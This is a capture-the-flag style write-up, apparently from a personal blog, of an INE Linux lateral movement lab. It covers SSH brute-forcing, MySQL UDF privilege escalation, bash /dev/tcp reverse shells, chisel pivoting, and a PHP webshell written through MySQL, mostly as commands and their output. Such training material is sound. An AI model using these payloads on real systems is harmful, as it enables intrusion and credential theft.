November 13, 2022 | 22:46

INE Lab - Linux Lateral Movement

The scenario is described as follows:

In this lab environment, the user will access a Kali GUI instance. A vulnerable application can be accessed using the tools installed on Kali at http://demo.ine.local

Objective: Exploit both the target and find all flags!

Dictionaries to use:

  • /usr/share/metasploit-framework/data/wordlists/common_users.txt
  • /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt


Get the target’s IP:

root@INE:~# cat /etc/hosts | grep ine.local demo.ine.local

The target subnet is accessible via our eth1 interface:

root@INE:~# route -n
Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface         UG    0      0        0 eth0     U     0      0        0 eth0   U     0      0        0 eth1

Get our own IP:

root@INE:~# ifconfig eth1 | grep inet
        inet  netmask  broadcast

User enumeration and SSH Brute-forcing

Scanning the target reveals the finger and SSH services:

root@INE:~# nmap -vv -p- -T4 demo.ine.local
22/tcp open  ssh     syn-ack ttl 64
79/tcp open  finger  syn-ack ttl 64
root@INE:~# nmap -p22,79 -sV -sC demo.ine.local
22/tcp open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 5e:2f:12:47:d9:43:bb:f3:f5:c6:c9:60:06:3d:34:ca (DSA)
|   2048 30:95:bf:92:cb:fc:0d:72:b3:0a:0e:bb:a8:00:3b:b2 (RSA)
|   256 02:d6:3f:7c:ad:1f:c6:fa:59:be:0b:ce:e1:77:21:a8 (ECDSA)
|_  256 aa:c8:62:e2:84:e3:12:46:57:0c:34:48:f8:89:8f:b5 (ED25519)
79/tcp open  finger  Linux fingerd
|_finger: No one logged on.\x0D

We can probe the finger service for valid users with the proposed user wordlist:

root@INE:~# for name in $(cat /usr/share/metasploit-framework/data/wordlists/common_users.txt); do finger $name@demo.ine.local | grep Login | cut -d" " -f 2; done | tee -a users.txt

The root user is not part of the proposed dictionary, but also existent on the target:

root@INE:~# finger root@demo.ine.local | grep Login | cut -d" " -f 2
root@INE:~# cat >> users.txt 
root@INE:~# cat users.txt 

Let’s brute-force the SSH service with the identified users and the proposed password wordlist:

root@INE:~# hydra -L users.txt -P /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt ssh://demo.ine.local
[22][ssh] host: demo.ine.local   login: sysadmin   password: monkey

We can successfully SSH into the target:

root@INE:~# ssh sysadmin@demo.ine.local
sysadmin@demo:~$ hostname
sysadmin@demo:~$ uname -a
Linux demo.ine.local 5.4.0-125-generic #141-Ubuntu SMP Wed Aug 10 13:42:03 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux

MySQL UDF Privilege Escalation

The list of processes contains a MySQL service and a script /usr/local/bin/, both running as the root user. A MySQL service running as root can escalate our privileges by using user defined functions (UDF).

sysadmin@demo:~$ ps aux
root           1  0.0  0.0   4452   752 ?        Ss   14:51   0:00 /bin/sh -c /usr/local/bin/
root           7  0.0  0.0  17976  3028 ?        S    14:51   0:00 /bin/bash /usr/local/bin/
root         140  0.0  0.0   4452  1628 ?        S    14:51   0:00 /bin/sh /usr/bin/mysqld_safe
root         511  0.0  0.0 560140 63764 ?        Sl   14:51   0:02 /usr/sbin/mysqld --basedir=/usr --datadir=/var/lib/mysql --plugin-dir=/usr/lib/mysql/plugin --user=root --log-error=/var/log/mysql/error.log --pid-file=/var/run/mysqld/ --socket=/var/run/mysqld/mysqld.sock --port=3306

The script /usr/local/bin/ contains MySQL root credentials:

sysadmin@demo:~$ cat /usr/local/bin/ | grep pass    
mysql -u root --password="nirvana" -e "SET GLOBAL max_connect_errors = 100000000;"

Kali is already equipped with libraries containing UDF for Linux. Let’s locate and transfer the 64-bit one over to the target:

root@INE:~# locate *lib_mysqludf_sys*.so
root@INE:~# scp /usr/share/metasploit-framework/data/exploits/mysql/ sysadmin@demo.ine.local:/tmp/

Now let’s login as the MySQL root user, load the library inside a new table, dump the library in the plugin path and create a function to execute commands:

sysadmin@demo:~$ mysql -u root --password="nirvana"
mysql> use mysql
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/tmp/'));
mysql> show variables like '%plugin%';
| plugin_dir    | /usr/lib/mysql/plugin/ |
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/';
mysql> create function sys_exec returns integer soname '';
mysql> select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');

We have proof, that we can execute commands as root:

sysadmin@demo:/tmp$ cat out.txt 
uid=0(root) gid=0(root) groups=0(root)

With a listener running, we can initiate a reverse shell:

mysql> select sys_exec('bash -c "/bin/bash -i > /dev/tcp/ 0<&1 2>&1"');

The resulting session can be upgraded to a full Meterpreter session:

root@INE:~# nc -nlvp 4444
root@demo:/root# id
uid=0(root) gid=0(root) groups=0(root)
root@demo:/root# hostname

We found a flag:

root@demo:/root# cat FLAG1  


Looking around on our first target, we find credentials in the history file of the auditor user:

root@demo:/home/auditor# cat .bash_history
mysql -h -u root -pfArFLP29UySm4bZj

The host is alive and probably of type Linux/Unix, based on the default TTL value 64:

root@demo:/var/lib/mysql# ping -c 2
ping -c 2
PING ( 56(84) bytes of data.
64 bytes from icmp_seq=1 ttl=64 time=0.075 ms
64 bytes from icmp_seq=2 ttl=64 time=0.056 ms

--- ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 1000ms
rtt min/avg/max/mdev = 0.056/0.065/0.075/0.012 ms

Our second target is reachable via a second NIC eth1:

root@demo:/var/lib/mysql# ifconfig | grep eth -A1 
ifconfig | grep eth -A1
eth0      Link encap:Ethernet  HWaddr 02:42:c0:1d:1c:03  
          inet addr:  Bcast:  Mask:
eth1      Link encap:Ethernet  HWaddr 02:42:c0:69:11:02  
          inet addr:  Bcast:  Mask:

Let’s now create a SOCKS proxy to be able ro reach the second target via the first one. We make use of chisel, because Kali is equipped with a Linux version of it. Transfer the binary over:

root@INE:~# scp /usr/bin/chisel sysadmin@demo.ine.local:/tmp/chisel

On the attacker machine:

root@INE:~# chisel server -p 8000 --reverse

On our first target:

root@demo:/var/lib/mysql# /tmp/chisel client R:socks &

We need to add the default proxy port 1080 of chisel to the last line of /etc/proxychains4.conf:

socks5 1080

Now we can scan the second target:

root@INE:~# proxychains nmap -sT -n -Pn -T4
80/tcp   open  http
3306/tcp open  mysql

We can also connect to the MySQL server with the credentials we gathered:

root@INE:~# proxychains mysql -h -u root -pfArFLP29UySm4bZj
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MySQL connection id is 46
Server version: 5.5.62-0ubuntu0.14.04.1 (Ubuntu)

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MySQL [(none)]>

Let’s now switch over to the second open port 80 and browse to the web application in Firefox:

root@INE:~# proxychains firefox ""

The web app gives us a hint, that files can be uploaded to a directory webtemp:


With that message, it’s obvious that we should try to create a webshell using the MySQL connection. First, we try to read files:

MySQL [(none)]> select load_file('/etc/passwd') \G
*************************** 1. row ***************************
load_file('/etc/passwd'): root:x:0:0:root:/root:/bin/bash
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
mysql:x:102:105:MySQL Server,,,:/nonexistent:/bin/false

Next, let’s find the root directory of the web server:

MySQL [(none)]> select load_file('/var/www/html/index.html') \G
*************************** 1. row ***************************
load_file('/var/www/html/index.html'): <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
      <title>INE Infosec Trainings!</title>
      <P>Website is under development. Stay Tuned!
      <P>You can upload files to /webtemp

1 row in set (0.001 sec)

Now that we know the path, we create our webshell:

MySQL [(none)]> select 1,2,"<?php echo shell_exec($_GET['c']);?>",4 into OUTFILE '/var/www/html/webtemp/sh.php';
Query OK, 1 row affected (0.002 sec)

We have a working webshell:


To get a reverse shell, we start a listener on our first target and use our webshell to send an URL-encoded payload (bash -i >& /dev/tcp/ 0>&1):

root@INE:~# proxychains curl '"%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%39%32%2e%31%30%35%2e%31%37%2e%32%2f%36%39%36%39%20%30%3e%26%31"'

We have a reverse shell of the second target:

root@demo:/var/lib/mysql# nc -nlvp 6969
Listening on [] (family 0, port 6969)
www-data@demo2:/var/www/html/webtemp$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@demo2:/var/www/html/webtemp$ hostname

And we found our second flag:

www-data@demo2:/var/www/html$ cat FLAG2
cat FLAG2


SSH Local Port Forwarding

Looking at the official solution, it would have been easier to first establish a port forwarding via SSH:

$ ssh -4 -L 8000: sysadmin@demo.ine.local

Bruteforce MySQL with Metasploit

We could have used a Metasploit module to bruteforce the MySQL root user’s credentials:

msf6 > use auxiliary/scanner/mysql/mysql_login
msf6 auxiliary(scanner/mysql/mysql_login) > set RHOSTS localhost
msf6 auxiliary(scanner/mysql/mysql_login) > set RPORT 8000
msf6 auxiliary(scanner/mysql/mysql_login) > set PASS_FILE /usr/share/metasploit-framework/data/wordlists/unix_passwords.txt
msf6 auxiliary(scanner/mysql/mysql_login) > set VERBOSE false
msf6 auxiliary(scanner/mysql/mysql_login) > exploit

UDF Exploitation with Metasploit

It’s possible to use Metasploit’s mysql_udf_payload module in a second terminal:

msf6 > use exploit/multi/mysql/mysql_udf_payload
msf6 exploit(multi/mysql/mysql_udf_payload) > set rhosts localhost
msf6 exploit(multi/mysql/mysql_udf_payload) > set rport 8000
msf6 exploit(multi/mysql/mysql_udf_payload) > set target Linux
msf6 exploit(multi/mysql/mysql_udf_payload) > set lhost eth1
msf6 exploit(multi/mysql/mysql_udf_payload) > set force_udf_upload true
msf6 exploit(multi/mysql/mysql_udf_payload) > set password nirvana
msf6 exploit(multi/mysql/mysql_udf_payload) > set username root
msf6 exploit(multi/mysql/mysql_udf_payload) > exploit -j

This results in a Meterpreter session:

meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer     : demo.ine.local
OS           : Ubuntu 14.04 (Linux 5.4.0-125-generic)
Architecture : x64
BuildTuple   : i486-linux-musl
Meterpreter  : x86/linux

Lateral Movement with Metasploit

We could have used Metasploit also to create a route and scan the subnet behind our pivot:

meterpreter > run autoroute -s
msf6 auxiliary(scanner/portscan/tcp) > set RHOSTS
msf6 auxiliary(scanner/portscan/tcp) > run

Within the Meterpreter session, it’s possible to add a port forward, to scan that port and browse to http://localhost:1234 within Firefox:

meterpreter > portfwd add -l 1234 -p 80 -r
msf6 > nmap -sV -p 1234 localhost


Instead of OUTFILE we could have use DUMPFILE to create our webshell:

SELECT '<?php echo system($_GET["cmd"]); ?>' into DUMPFILE '/var/www/html/webtemp/backdoor.php';

© Pavel Pi 2021

Powered by Hugo & Kiss'Em.